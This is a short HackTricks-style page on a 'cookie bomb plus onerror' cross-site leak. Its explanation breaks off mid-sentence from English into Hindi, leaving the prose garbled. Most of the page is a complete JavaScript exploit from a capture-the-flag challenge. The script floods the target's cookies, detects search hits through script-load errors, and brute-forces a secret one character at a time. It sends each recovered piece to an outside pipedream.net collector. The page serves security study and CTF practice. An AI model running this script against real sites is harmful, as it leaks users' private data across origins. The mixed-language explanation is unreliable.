Cookie Bomb + Onerror XS Leak

Support HackTricks

The following script taken from here is exploiting a functionality that allows the user to किसी भी मात्रा में कुकीज़ डालने के लिए, और फिर एक फ़ाइल को स्क्रिप्ट के रूप में लोड करना यह जानते हुए कि सही प्रतिक्रिया गलत से बड़ी होगी और फिर। यदि सफल होता है, तो प्रतिक्रिया एक रीडायरेक्ट होती है जिसमें परिणामस्वरूप URL लंबा होता है, सर्वर द्वारा संभालने के लिए बहुत बड़ा है इसलिए एक त्रुटि HTTP स्थिति कोड लौटाता है। यदि खोज विफल होती है, तो कुछ नहीं होगा क्योंकि URL छोटा है।

<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
HackTricks का समर्थन करें

Last updated